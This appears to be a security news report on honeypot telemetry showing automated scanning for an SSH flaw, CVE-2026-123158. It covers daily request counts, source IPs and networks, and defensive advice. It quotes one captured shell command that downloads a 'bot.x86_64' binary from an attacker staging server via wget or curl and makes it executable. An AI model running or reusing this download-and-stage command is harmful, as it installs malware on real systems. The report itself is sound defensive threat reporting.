Automated threat actors and scanning infrastructure are actively probing internet-exposed SSH services to exploit the recently identified "sshole" vulnerability, designated as CVE-2026-123158. Telemetry gathered from Cowrie-based SSH honeypots shows an increase in requests delivering abnormally long password payloads designed to trigger the flaw, according to research published by the SANS Internet Storm Center.

Escalation in Scanning Activity

Researchers operating Cowrie honeypots noted that traditional SSH brute-force campaigns rarely send long authentication strings. Because honeypots typically record only the first 255 characters of submitted credentials, the arrival of oversized inputs immediately stood out from baseline automated traffic.

Honeypot sensors registered zero related probes between October 26 and October 31, 2026. Telemetry logged the initial shift on November 1 with 23 requests, followed by an irregular cadence over the subsequent days. The campaign accelerated sharply later in the week:

  • November 3: 5 requests
  • November 4: 58 requests
  • November 5: 232 requests
  • November 6: 713 requests
  • November 7: 246 requests
  • November 8: 51 requests

Activity reached its zenith on November 6 before beginning to taper off over the weekend, demonstrating rapid adaptation by automated scanning clusters following the public disclosure of the vulnerability.

Payload Analysis and Exploitation Patterns

Analysis of the intercepted data revealed two distinct types of abnormal authentication attempts during the logging period. The earliest anomalous submissions observed on November 1 were not authentic exploit payloads for the sshole vulnerability. Instead, researchers discovered buggy brute-force automation tools accidentally feeding post-exploitation shell commands directly into the SSH password field.

One captured payload demonstrated this misconfiguration, with the client submitting a concatenated command sequence into the credential prompt:

cd /tmp; (wget -q http://156.238.252.37:8000/bot.x86_64 -O /tmp/b 2>/dev/null || busybox wget -q http://156.238.252.37:8000/bot.x86_64 -O /tmp/b 2>/dev/null || curl -sk http://156.238.252.37:8000/bot.x86_64 -o /tmp/b 2>/dev/null); chmod 777 /tmp/b 2>/dev/

The script attempted to stage a remote binary named bot.x86_64 from an external staging server via wget, busybox wget, or curl, followed by execution permission changes. If an underlying honeypot or flawed authentication implementation granted access or mishandled the field, such buggy routines could execute successfully.

True exploit traffic targeting CVE-2026-123158 materialized on November 5. These authentic attempts utilized payloads composed entirely of repetitive "A" characters submitted as the password, intended to cause memory-handling anomalies or buffer boundary overflows in susceptible SSH implementations.

Originating Networks

Telemetry associated with the early scanning wave tied the probes to multiple autonomous systems distributed globally. Several distinct hosting providers and telecommunications networks hosted the scanning IP addresses.

The top scanning source recorded by the honeypots was IP address 213.86.169.133, originating from COLT Technology Services Group Limited (AS8220), which generated 48 attempts. This was closely followed by 152.233.50.185 on CDNEXT Datacamp Limited (AS212238) with 44 requests, and 92.255.57.7 on SERVER-MANIA (AS55286) with 43 requests.

Additional activity originated from infrastructure belonging to DMZHOST TECHOFF SRV LIMITED (195.178.110.78), Uzbektelekom Joint Stock Company (109.94.173.13), Telecom Armenia (87.241.132.12), and Monkeybrains (52.119.124.122). Multiple probes also stemmed from Korea Telecom (AS4766) across IP addresses including 220.77.237.35, 220.70.219.98, 121.190.39.238, 121.163.224.97, 183.99.38.238, and 112.162.23.132, along with smaller volumes from Aire Networks del Mediterraneo, VPSVAULT, LG DACOM, and Scaleway.

Defensive Recommendations

With threat actors actively refining their tooling and launching functional exploit payloads, network defenders should audit external entry points and monitor for anomalous SSH activity:

  • Inspect SSH authentication logs: Look for unusually long password inputs, repeated sequences of single-character strings (such as long sequences of "A"), or command strings passed as credentials.
  • Restrict administrative access: Remove direct SSH listening ports from public internet exposure wherever possible, utilizing dedicated management networks, bastion architectures, or authorized jump hosts.
  • Block known scanning infrastructure: Evaluate inbound traffic against observed scanning sources and monitor perimeter egress logs for connection attempts to staging addresses, including 156.238.252.37:8000.